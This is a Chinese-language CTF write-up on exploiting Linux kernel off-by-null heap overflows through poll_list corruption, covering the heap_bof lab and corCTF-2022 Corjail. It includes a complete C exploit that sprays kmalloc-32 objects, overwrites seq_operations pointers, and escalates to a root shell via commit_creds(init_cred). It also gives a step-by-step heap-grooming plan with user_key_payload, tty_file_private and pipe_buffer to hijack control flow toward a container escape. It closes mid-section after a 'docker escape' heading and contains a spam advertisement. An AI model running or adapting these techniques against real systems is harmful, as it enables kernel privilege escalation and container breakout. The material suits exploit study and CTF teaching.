Linux kernel 堆溢出利用方法（二）

前言

本文我们通过我们的老朋友heap_bof来讲解Linux kernel中off-by-null的利用手法。在通过讲解另一道相对来说比较困难的kernel off-by-null + docker escape来深入了解这种漏洞的利用手法。（没了解过docker逃逸的朋友也可以看懂，毕竟有了root权限后，docker逃逸就变的相对简单了）。

off by null

我们还是使用上一篇的例题heap_bof来讲解这种利用手法，现在我们假设这道题没有提供free，并且只有单字节溢出，并且溢出的单字节只能是NULL，那么我们应该怎麼去利用呢？

利用思路

boot.sh

#!/bin/bash

qemu-system-x86_64 \
  -initrd rootfs.img \
  -kernel bzImage \
  -m 1G \
  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet nokaslr' \
  -monitor /dev/null \
  -s \
  -cpu kvm64 \
  -smp cores=1,threads=2 \
  --nographic

poll系统调用

/*
*   @fds: pollfd类型的一个数组
*   @nfds: 前面的参数fds中条目的个数
*   @timeout: 事件发生的毫秒数
*/
int poll(struct pollfd *fds, nfds_t nfds, int timeout);

poll_list 结构体对象是在调用 poll() 时分配，该调用可以监视 1 个或多个文件描述符的活动。

struct pollfd {
	int fd;
	short events;
	short revents;
};

struct poll_list {
    struct poll_list *next; // 指向下一个poll_list
    int len; // 对应于条目数组中pollfd结构的数量
    struct pollfd entries[]; // 存储pollfd结构的数组
};

poll_list 结构如下图所示，前 30 个 poll_fd 在栈上，后面的都在堆上，最多 510 个 poll_fd 在一个堆上的 poll_list 上，堆上的 poll_list 最大为 0x1000。

poll_list 分配/释放

do_sys_poll 函数完成 poll_list 的分配和释放。poll_list 的是超时自动释放的，我们可以指定 poll_list 的释放时间。

#define POLL_STACK_ALLOC	256
#define PAGE_SIZE 4096
//(4096-16)/8 = 510(堆上存放pollfd最大数量)
#define POLLFD_PER_PAGE  ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd))	
//(256-16)/8 = 30 (栈上存放pollfd最大数量)
#define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list))  / sizeof(struct pollfd))

[...]

static int do_sys_poll(struct pollfd __user *ufds, unsigned int nfds,
		struct timespec64 *end_time)
{

    struct poll_wqueues table;
    int err = -EFAULT, fdcount, len;
    /* Allocate small arguments on the stack to save memory and be
       faster - use long to make sure the buffer is aligned properly
       on 64 bit archs to avoid unaligned access */
                
    /*
    *  [1] stack_pps 256 字节的栈缓冲区, 负责存储前 30 个 pollfd entry
    */
    long stack_pps[POLL_STACK_ALLOC/sizeof(long)]; 
    struct poll_list *const head = (struct poll_list *)stack_pps;
    struct poll_list *walk = head;
 	unsigned long todo = nfds;

	if (nfds > rlimit(RLIMIT_NOFILE))
		return -EINVAL;
	/*
	*  [2] 前30个 pollfd entry 先存放在栈上，节省内存和时间
	*/
	len = min_t(unsigned int, nfds, N_STACK_PPS);

	for (;;) {
		walk->next = NULL;
		walk->len = len;
		if (!len)
			break;

		if (copy_from_user(walk->entries, ufds + nfds-todo, sizeof(struct pollfd) * walk->len))
			goto out_fds;

		todo -= walk->len;
		if (!todo)
			break;
        /*
        * 	[3] 如果提交超过30个 pollfd entries，就会把多出来的 pollfd 放在内核堆上。
        * 	每个page 最多存 POLLFD_PER_PAGE (510) 个entry, 
        * 	超过这个数，则分配新的 poll_list, 依次循环直到存下所有传入的 entry
        */
		len = min(todo, POLLFD_PER_PAGE);
        /*
        *   [4] 只要控制好被监控的文件描述符数量，就能控制分配size，从 kmalloc-32 到 kmalloc-4k
        */
		walk = walk->next = kmalloc(struct_size(walk, entries, len), GFP_KERNEL); 			
		if (!walk) {
			err = -ENOMEM;
			goto out_fds;
		}
	}

	poll_initwait(&table);
    /*
    * 	[5] 分配完 poll_list 对象后，调用 do_poll() 来监控这些文件描述符，直到发生特定 event 或者超时。
    *   这里 end_time 就是最初传给 poll() 的超时变量, 这表示 poll_list 对象可以在内存中保存任意时长，超时后自动释放。
    */
	fdcount = do_poll(head, &table, end_time);  
	poll_freewait(&table);

	if (!user_write_access_begin(ufds, nfds * sizeof(*ufds))and)
		goto out_fds;

	for (walk = head; walk; walk = walk->next) {
		struct pollfd *fds = walk->entries;
		int j;

		for (j = walk->len; j; fds++, ufds++, j--)
			unsafe_put_user(fds->revents, &ufds->revents, Efault);
  	}
	user_write_access_end();

	err = fdcount;
out_fds:
	walk = head->next;
	while (walk) { 		// [6] 释放 poll_list: 遍历单链表, 释放每一个 poll_list, 这里可以利用
		struct poll_list *pos = walk;
		walk = walk->next;
		kfree(pos);
	}

	return err;

Efault:
	user_write_access_end();
	err = -EFAULT;
	goto out_fds;
}

我们可以去找到一些结构体，其头 8 字节是一个指针，然后利用 off by null 去损坏该指针，比如使得 0xXXXXa0 变成 0xXXXX00，然后就可以考虑利用堆喷去构造 UAF 了。

帮助网安学习，全套资料S信免费领取：
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集（含答案）
⑧ APP客户端安全检测指南（安卓+IOS）

详细流程

首先分配 kmalloc-4096 大小的结构题在ptr[0]；
然后构造这样的poll_list结构体。
利用off-by-null将poll_list->next的最后一个字节改为空。然后大量分配kmalloc-32的obj内存，这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合，并且 32 大小的 object 其低字节是可能为 \x00 的，其低字节为 0x20、0x40、0x80 、0xa0、0xc0、0xe0、0x00。运气好可以被我们篡改后的poll_list->next指到。但对于这道题来说我们没有足够的堆块用于堆喷，所以成功率是极低的。
等待poll_list线程执行完毕，并且我们分配的kmalloc-32被错误释放，分配大量的seq_operations，运气好可以正好被分配到我们释放的kmalloc-32，形成UAF，这样我们就可以利用UAF修改seq_operations->start指针指向提权代码。
提权可以参考上一篇文章，利用栈上的残留值来bypass kaslr。

exp

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/sysinfo.h>

#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9

#define SEQ_NUM (2048 + 128)
#define TTY_NUM 72
#define PIPE_NUM 1024
#define KEY_NUM 199

char buf[0x20];
int bof_fd;
int key_id[KEY_NUM];

#define N_STACK_PPS 30
#define POLL_NUM 0x1000
#define PAGE_SIZE 0x1000

struct param {
    size_t len;        // 内容长度
    char *buf;         // 用户态缓冲区地址
    unsigned long idx; // 表示 ptr 数组的 索引
};

size_t user_cs, user_rflags, user_sp, user_ss;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}

void get_shell(void) {
    system("/bin/sh");
}

void qword_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("[*] %s:\n", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/*--------------------------------------------------------------------------------------------------*/

struct callback_head {
    struct callback_head *next;
    void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));

#define rcu_head callback_head
#define __aligned(x)                    __attribute__((__aligned__(x)))
typedef unsigned long long u64;

struct user_key_payload {
    struct rcu_head rcu;        /* RCU destructor */
    unsigned short datalen;    /* length of this data */
    char data[0] __aligned(__alignof__(u64)); /* actual data */
};

int key_alloc(int id, void *payload, int payload_len) {
    char description[0x10] = {};
    sprintf(description, "pwn_%d", id);
    return key_id[id] = syscall(__NR_add_key, "user", description, payload, payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int id, void *payload, size_t plen) {
    return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
}

int key_read(int id, void *bufer, size_t buflen) {
    return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
}

int key_revoke(int id) {
    return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0);
}

int key_unlink(int id) {
    return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
}

/*--------------------------------------------------------------------------------------------------*/

pthread_t tid[40];

typedef struct {
    int nfds, timer;
} poll_args;

struct poll_list {
    struct poll_list *next;
    int len;
    struct pollfd entries[];
};

void* alloc_poll_list(void *args) {
    int nfds = ((poll_args *) args)->nfds;
    int timer = ((poll_args *) args)->timer;

    struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));
    for (int i = 0; i < nfds; i++) {
        pfds[i].fd = open("/etc/passwd", O_RDONLY);
        pfds[i].events = POLLERR;
    }
    poll(pfds, nfds, timer);
}

void* create_poll_list(size_t size, int timer, int i) {
    poll_args *args = calloc(1, sizeof(poll_args));
    args->nfds = (size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd) + N_STACK_PPS;
    args->timer = timer;

    pthread_create(&tid[i], NULL, alloc_poll_list, args);
}

/*--------------------------------------------------------------------------------------------------*/

struct list_head {
    struct list_head *next, *prev;
};
struct tty_file_private {
    struct tty_struct *tty;
    struct file *file;
    struct list_head list;
};

struct page;
struct pipe_inode_info;
struct pipe_buf_operations;

struct pipe_bufer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags;
    unsigned long private;
};

struct pipe_buf_operations {
    int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);
    void (*release)(struct pipe_inode_info *, struct pipe_bufer *);
    int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);
    int (*get)(struct pipe_inode_info *, struct pipe_bufer *);
};

/*--------------------------------------------------------------------------------------------------*/

void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340;
void *init_cred = (void *) 0xFFFFFFFF81E496C0;
size_t user_rip = (size_t) get_shell;

size_t kernel_offset;
void get_root() {
    __asm__(
        "mov rax, [rsp + 8];"
        "mov kernel_offset, rax;"
    );
    kernel_offset -= 0xffffffff81229378;
    commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
    init_cred = (void *) ((size_t) init_cred + kernel_offset);
    commit_creds(init_cred);
    __asm__(
        "swapgs;"
        "push user_ss;"
        "push user_sp;"
        "push user_rflags;"
        "push user_cs;"
        "push user_rip;"
        "iretq;"
    );
}

/*--------------------------------------------------------------------------------------------------*/

int main() {
    save_status();
    signal(SIGSEGV, (void *) get_shell);
    bof_fd = open("dev/bof", O_RDWR);
    int seq_fd[SEQ_NUM];

    printf("[*] try to alloc_kmalloc-4096\n");
    size_t* mem = malloc(0x1010);
    memset(mem, '\xff', 0x1010);
    struct param p = {0x1000, (char*)mem, 0};
    ioctl(bof_fd, BOF_MALLOC, &p);

    printf("[*] try to spary kmalloc-32\n");
    p.len = 0x20;
    for (int i = 1; i < 20; ++i)
    {
        p.idx = i;
        memset(mem, i, 0x20);
        memset(mem, 0, 0x18);
        ioctl(bof_fd, BOF_MALLOC, &p);
        ioctl(bof_fd, BOF_EDIT, &p);
    }

    printf("[*] try to alloc_poll_list\n");
    for (int i = 0; i < 14; ++i)
    {
        create_poll_list(PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd), 3000, i);
    }

    printf("[*] try to spary kmalloc-32\n");
    p.len = 0x20;
    for (int i = 20; i < 40; ++i)
    {
        p.idx = i;
        memset(mem, i, 0x20);
        memset(mem, 0, 0x18);
        ioctl(bof_fd, BOF_MALLOC, &p);
        ioctl(bof_fd, BOF_EDIT, &p);
    }

    sleep(1);
//	  调试用代码
//    p.len = 0x1010;
//    p.idx = 0;
//    ioctl(bof_fd, BOF_READ, &p);

//    printf("[*] p->buf == %p\n", (size_t*)mem[0x1008/8]);

    p.len = 0x1001;
    p.idx = 0;
    memset(mem, '\x00', 0x1001);
    ioctl(bof_fd, BOF_EDIT, &p);

    void *res;
    for (int i = 0; i < 14; ++i)
    {
        printf("[*] wating for poll end\n");
        pthread_join(tid[i], &res);
    }

    for (int i = 0; i < 256; ++i)
    {
        seq_fd[i] = open("/proc/self/stat", O_RDONLY);
    }

    sleep(1);

    for (int i = 1; i < 40; ++i)
    {
        p.idx = i;
        p.len = 0x20;

        ioctl(bof_fd, BOF_READ, &p);
        printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);
        printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);
        printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);
        printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);

        mem[0] = (size_t*)get_root;
        mem[1] = (size_t*)get_root;
        mem[2] = (size_t*)get_root;
        mem[3] = (size_t*)get_root;
        ioctl(bof_fd, BOF_EDIT, &p);
    }

    for (int i = 1; i < 40; ++i)
    {
        p.idx = i;
        p.len = 0x20;

        ioctl(bof_fd, BOF_READ, &p);
        printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);
        printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);
        printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);
        printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);
    }



    for (int i = 0; i < 256; i++) {
        read(seq_fd[i], p.buf, 1);
    }

    return 0;
}

corCTF-2022:Corjail

题目分析

我们可以使用 Guestfish 工具读取和修改 qcow2 文件。

run_challenge.sh

#!/bin/sh
qemu-system-x86_64 \
    -m 1G \
    -nographic \
    -no-reboot \
    -kernel bzImage \
    -append "console=ttyS0 root=/dev/sda quiet loglevel=3 rd.systemd.show_status=auto rd.udev.log_level=3 oops=panic panic=-1 net.ifnames=0 pti=on" \
    -hda coros.qcow2 \
    -snapshot \
    -monitor /dev/null \
    -cpu qemu64,+smep,+smap,+rdrand \
    -smp cores=4 \
    --enable-kvm

init脚本

查看服务进程/etc/systemd/system/init.service；

Description=Initialize challenge

[Service]
Type=oneshot
ExecStart=/usr/local/bin/init

[Install]
WantedBy=multi-user.target

查看 /usr/local/bin/init 脚本;

 cat /usr/local/bin/init
#!/bin/bash

USER=user

FLAG=$(head -n 100 /dev/urandom | sha512sum | awk '{printf $1}')

useradd --create-home --shell /bin/bash $USER

echo "export PS1='\[\033[01;31m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]# '"  >> /root/.bashrc
echo "export PS1='\[\033[01;35m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '" >> /home/$USER/.bashrc

chmod -r 0700 /home/$USER

mv /root/temp /root/$FLAG
chmod 0400 /root/$FLAG

password

❯ guestfish --rw -a coros.qcow2
><fs> run
><fs> list-filesystems
/dev/sda: ext4
><fs> mount /dev/sda /
><fs> cat /etc/password
libguestfs: error: download: /etc/password: No such file or directory
><fs> cat /etc/passwd
root:x:0:0:root:/root:/usr/local/bin/jail
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
......

root_shell

查看root用户的/usr/local/bin/jail;

><fs> cat /usr/local/bin/jail
#!/bin/bash

echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'

/usr/bin/docker run -it --user user \
	--hostname CoRJail \
    --security-opt seccomp=/etc/docker/corjail.json \
    -v /proc/cormon:/proc_rw/cormon:rw corcontainer

/bin/bash

/usr/sbin/poweroff -f

发现其启动root的 shell 后是首先调用 docker来构建了一个容器然后关闭自身，在那之后我们起的虚拟环境就是处于该docker容器当中。

为了方便调试，我们可以使用edit将其修改为:

><fs> edit /usr/local/bin/jail 
><fs> cat /usr/local/bin/jail
#!/bin/bash

echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'

cp /exploit /home/user || echo "[!] exploit not found, skipping"

chown -R user:user /home/user

echo 0 > /proc/sys/kernel/kptr_restrict

/usr/bin/docker run -it --user root \
  --hostname CoRJail \
  --security-opt seccomp=/etc/docker/corjail.json \
  # 允许容器能够调用与日志相关的系统调用
  --cap-add CAP_SYSLOG \
  # 将宿主机的 /proc/cormon 目录挂载到容器内的 /proc_rw/cormon，并且以读写模式挂载。
  -v /proc/cormon:/proc_rw/cormon:rw \
  # 将宿主机的 /home/user/ 目录挂载到容器内的 /home/user/host
  -v /home/user/:/home/user/host \
  corcontainer

/bin/bash

/usr/sbin/poweroff -f

edit 的用法和 vim 一样。

后面我们上传 exp 的时候可以使用 upload 命令，其格式如下:

><fs> help upload
NAME
    upload - upload a file from the local machine

SYNOPSIS
     upload filename remotefilename

DESCRIPTION
    Upload local file filename to remotefilename on the filesystem.

    filename can also be a named pipe.

    See also "download".

kernel_patch

diff -ruN a/arch/x86/entry/syscall_64.c b/arch/x86/entry/syscall_64.c
--- a/arch/x86/entry/syscall_64.c	2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/entry/syscall_64.c	2022-07-02 12:34:11.237778657 +0200
@@ -17,6 +17,9 @@
 
 #define __SYSCALL_64(nr, sym) [nr] = __x64_##sym,
 
+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
+EXPORT_PER_CPU_SYMBOL(__per_cpu_syscall_count);
+
 asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {
 	/*
 	 * Smells like a compiler bug -- it doesn't work
diff -ruN a/arch/x86/include/asm/syscall_wrapper.h b/arch/x86/include/asm/syscall_wrapper.h
--- a/arch/x86/include/asm/syscall_wrapper.h	2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/include/asm/syscall_wrapper.h	2022-07-02 12:34:11.237778657 +0200
@@ -245,7 +245,7 @@
  * SYSCALL_DEFINEx() -- which is essential for the COND_SYSCALL() and SYS_NI()
  * macros to work correctly.
  */
-#define SYSCALL_DEFINE0(sname)						\
+#define __SYSCALL_DEFINE0(sname)						\
 	SYSCALL_METADATA(_##sname, 0);					\
 	static long __do_sys_##sname(const struct pt_regs *__unused);	\
 	__X64_SYS_STUB0(sname)						\
diff -ruN a/include/linux/syscalls.h b/include/linux/syscalls.h
--- a/include/linux/syscalls.h	2022-06-29 08:59:54.000000000 +0200
+++ b/include/linux/syscalls.h	2022-07-02 12:34:11.237778657 +0200
@@ -82,6 +82,7 @@
 #include <linux/key.h>
 #include <linux/personality.h>
 #include <trace/syscall.h>
+#include <asm/syscall.h>
 
 #ifdef CONFIG_ARCH_HAS_SYSCALL_WRAPPER
 /*
@@ -202,8 +203,8 @@
 }
 #endif
 
-#ifndef SYSCALL_DEFINE0
-#define SYSCALL_DEFINE0(sname)					\
+#ifndef __SYSCALL_DEFINE0
+#define __SYSCALL_DEFINE0(sname)					\
 	SYSCALL_METADATA(_##sname, 0);				\
 	asmlinkage long sys_##sname(void);			\
 	ALLOW_ERROR_INJECTION(sys_##sname, ERRNO);		\
@@ -219,9 +220,41 @@
 
 #define SYSCALL_DEFINE_MAXARGS	6
 
-#define SYSCALL_DEFINEx(x, sname, ...)				\
-	SYSCALL_METADATA(sname, x, __VA_ARGS__)			\
-	__SYSCALL_DEFINEx(x, sname, __VA_ARGS__)
+DECLARE_PER_CPU(u64[], __per_cpu_syscall_count);
+
+#define SYSCALL_COUNT_DECLAREx(sname, x, ...) \
+	static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__));
+
+#define __SYSCALL_COUNT(syscall_nr) \
+	this_cpu_inc(__per_cpu_syscall_count[(syscall_nr)])
+
+#define SYSCALL_COUNT_FUNCx(sname, x, ...)					\
+	{									\
+		__SYSCALL_COUNT(__syscall_meta_##sname.syscall_nr);		\
+		return __count_sys##sname(__MAP(x, __SC_CAST, __VA_ARGS__));	\
+	}									\
+	static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__))
+
+#define SYSCALL_COUNT_DECLARE0(sname) \
+	static inline long __count_sys_##sname(void);
+
+#define SYSCALL_COUNT_FUNC0(sname)					\
+	{								\
+		__SYSCALL_COUNT(__syscall_meta__##sname.syscall_nr);	\
+		return __count_sys_##sname();				\
+	}								\
+	static inline long __count_sys_##sname(void)
+
+#define SYSCALL_DEFINEx(x, sname, ...)			\
+	SYSCALL_METADATA(sname, x, __VA_ARGS__)		\
+	SYSCALL_COUNT_DECLAREx(sname, x, __VA_ARGS__)	\
+	__SYSCALL_DEFINEx(x, sname, __VA_ARGS__)	\
+	SYSCALL_COUNT_FUNCx(sname, x, __VA_ARGS__)
+
+#define SYSCALL_DEFINE0(sname)		\
+	SYSCALL_COUNT_DECLARE0(sname)	\
+	__SYSCALL_DEFINE0(sname)	\
+	SYSCALL_COUNT_FUNC0(sname)
 
 #define __PROTECT(...) asmlinkage_protect(__VA_ARGS__)
 
diff -ruN a/kernel/trace/trace_syscalls.c b/kernel/trace/trace_syscalls.c
--- a/kernel/trace/trace_syscalls.c	2022-06-29 08:59:54.000000000 +0200
+++ b/kernel/trace/trace_syscalls.c	2022-07-02 12:34:32.902426748 +0200
@@ -101,7 +101,7 @@
 	return NULL;
 }
 
-static struct syscall_metadata *syscall_nr_to_meta(int nr)
+struct syscall_metadata *syscall_nr_to_meta(int nr)
 {
 	if (IS_ENABLED(CONFIG_HAVE_SPARSE_SYSCALL_NR))
 		return xa_load(&syscalls_metadata_sparse, (unsigned long)nr);
@@ -111,6 +111,7 @@
 
 	return syscalls_metadata[nr];
 }
+EXPORT_SYMBOL(syscall_nr_to_meta);
 
 const char *get_syscall_name(int syscall)
 {
@@ -122,6 +123,7 @@
 
 	return entry->name;
 }
+EXPORT_SYMBOL(get_syscall_name);
 
 static enum print_line_t
 print_syscall_enter(struct trace_iterator *iter, int flags,

其中

+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);

为每个CPU都创建一个 __per_cpu_syscall_count变量用来记录系统调用的次数。

seccomp.json 保存了系统调用的白名单。

{
	"defaultAction": "SCMP_ACT_ERRNO",
	"defaultErrnoRet": 1,
	"syscalls": [
		{
			"names": [ "_llseek", "_newselect", "accept", "accept4", "access", ... ],
			"action": "SCMP_ACT_ALLOW"
		},
		{
			"names": [ "clone" ],
			"action": "SCMP_ACT_ALLOW",
			"args": [ { "index": 0, "value": 2114060288, "op": "SCMP_CMP_MASKED_EQ" } ]
		}
	]
}

根据README.md提示，可以在proc_rw/cormon看到使用到的系统调用在各个CPU当中的情况。

root@CoRJail:/# cat /proc_rw/cormon 

      CPU0      CPU1      CPU2      CPU3	Syscall (NR)

         9        16        25        18	sys_poll (7)
         0         0         0         0	sys_fork (57)
        66        64        79        60	sys_execve (59)
         0         0         0         0	sys_msgget (68)
         0         0         0         0	sys_msgsnd (69)
         0         0         0         0	sys_msgrcv (70)
         0         0         0         0	sys_ptrace (101)
        15        19        11         6	sys_setxattr (188)
        27        24        11        20	sys_keyctl (250)
         0         0         2         2	sys_unshare (272)
         0         1         0         0	sys_execveat (322)

也可以指定系统调用。

root@CoRJail:/# echo -n 'sys_msgsnd,sys_msgrcv' > /proc_rw/cormon 
root@CoRJail:/# cat /proc_rw/cormon 

      CPU0      CPU1      CPU2      CPU3	Syscall (NR)

         0         0         0         0	sys_msgsnd (69)
         0         0         0         0	sys_msgrcv (70)

src.c

可以看到 write 存在明显的off-by-null。

static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos) 
{
    loff_t offset = *ppos;
    char *syscalls;
    size_t len;

    if (offset < 0)
        return -EINVAL;

    if (offset >= PAGE_SIZE || !count)
        return 0;

    len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count;

    syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC);
    printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n", (uint64_t)syscalls);

    if (!syscalls)
    {
        printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!\n");
        return -ENOMEM;
    }

    if (copy_from_user(syscalls, ubuf, len))
    {
        printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!\n");
        return -EFAULT;
    }

    syscalls[len] = '\x00';

    if (update_filter(syscalls))
    {
        kfree(syscalls);
        return -EINVAL;
    }

    kfree(syscalls);

    return count;
}

利用思路

在 poll_list 利用方式中：

先通过 add_key() 堆喷大量 32 字节大小的 user_key_payload。

这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合，并且 32 大小的 object 其低字节是可能为 \x00 的，其低字节为 0x20、0x40、0x80 、0xa0、0xc0、0xe0、0x00。

然后创建 poll_list 链，其中 poll_list.next 指向的是一个 0x20 大小的 object。
触发 off by null，修改 poll_list.next 的低字节为 \x00，这里可能导致其指向某个 user_key_payload。
然后等待 timeout 后，就会导致某个 user_key_payload 被释放，导致 UAF。

详细流程如下：

首先，我们要打开有漏洞的模块。
使用bind_core()将当前进程绑定到CPU0，因为我们是在一个多核环境中工作，而slab是按CPU分配的。

void bind_core(bool fixed, bool thread) {
    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);
    if (thread) {
        pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);
    } else {
        sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    }
}

喷射大量 0x20 大小的 user_key_payload 和下图所示 0x1000 + 0x20 的 poll_list 。

此时内存中 object 的分布如下图所示，其中黄色的是 user_key_payload ，绿色的是 poll_list ，白色是空闲 object 。

通过 off by null 修改 0x1000 大小的 poll_list ，使得指向 0x20 大小 poll_list 的 next 指针指向 user_key_payload 。之后释放所有的 poll_list 结构，被 next 指向的的 user_key_payload 也被释放，形成 UAF 。

注意，为了确保释放 poll_list 不出错，要保证 0x20 大小的 poll_list 的 next 指针为 NULL 。也就是 user_key_payload 的前 8 字节为 NULL 。由于 user_key_payload 的前 8 字节没有初始化，因此可以在申请 user_key_payload 前先用 setxattr 把前 8 字节置为 NULL 。

static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
	 size_t size, int flags)
{
	int error;
	void *kvalue = NULL;
	char kname[XATTR_NAME_MAX + 1];
	[...]
	if (size) {
		[...]
		kvalue = kvmalloc(size, GFP_KERNEL); // 申请kmalloc-x
		if (!kvalue)
			return -ENOMEM;
        // 修改kmalloc-x内容
		if (copy_from_user(kvalue, value, size)) {
			error = -EFAULT;
			goto out;
		}
		[...]
	}

	error = vfs_setxattr(d, kname, kvalue, size, flags);
out:
	kvfree(kvalue); // 释放kmalloc-x

	return error;
}

另外实测 kmalloc-32 的 freelist 偏移为 16 字节，不会覆盖 next 指针。

喷射 seq_operations 利用 seq_operations->next 的低二字节覆盖 user_key_payload->datalen 实现 user_key_payload 越界读， user_key_payload->data 前 8 字节被覆盖为 seq_operations->show ，可以泄露内核基址。另外可以根据是否越界读判断该 user_key_payload 是否被 seq_operations 覆盖。

struct seq_operations {
	void * (*start) (struct seq_file *m, loff_t *pos);
	void (*stop) (struct seq_file *m, void *v);
	void * (*next) (struct seq_file *m, void *v, loff_t *pos);
	int (*show) (struct seq_file *m, void *v);
};

struct user_key_payload {
	struct rcu_head	rcu;		/* RCU destructor */
	unsigned short	datalen;	/* length of this data */
	char		data[0] __aligned(__alignof__(u64)); /* actual data */
};

struct callback_head {
	struct callback_head *next;
	void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head

之后释放不能越界读的 user_key_payload 并喷射 tty_file_private 填充产生的空闲 object 。之后再次越界读泄露 tty_file_private->tty 指向的 tty_struct ，我们定义这个地址为 target_object 。

释放 seq_operations ，喷射 0x20 大小的 poll_list 。现在UAF的堆块被user_key_payload和poll_list占领。在 poll_list 被释放前，释放劫持的 user_key_payload ，利用 setxattr 修改 poll_list 的 next 指针指向 target_object - 0x18，方便后续伪造pipe_buffer 。为了实现 setxattr 的喷射效果，setxattr 修改过的 object 通过申请 user_key_payload 劫持，确保下次 setxattr 修改的是另外的 object 。

打开 /dev/ptmx 时会分配 tty_file_private 并且该结构体的 tty 指针会指向 tty_struct 。

int tty_alloc_file(struct file *file)
{
	struct tty_file_private *priv;

	priv = kmalloc(sizeof(*priv), GFP_KERNEL);
	if (!priv)
		return -ENOMEM;

	file->private_data = priv;

	return 0;
}
// kmalloc-32 | GFP_KERNEL
struct tty_file_private {
	struct tty_struct *tty;
	struct file *file;
	struct list_head list;
};

趁 poll_list 还没有释放，释放 tty_struct 并申请 pipe_buffer ，将 target_object(tty_struct) 替换为 pipe_buffer 。

struct pipe_buffer {
	struct page *page;
	unsigned int offset, len;
	const struct pipe_buf_operations *ops;
	unsigned int flags;
	unsigned long private;
};

之后 poll_list 释放导致 target_object - 0x18 区域释放。我们可以申请一个 0x400 大小的 user_key_payload 劫持 target_object - 0x18 ，从而劫持 pipe_buffer->ops 实现控制流劫持。

docker逃逸

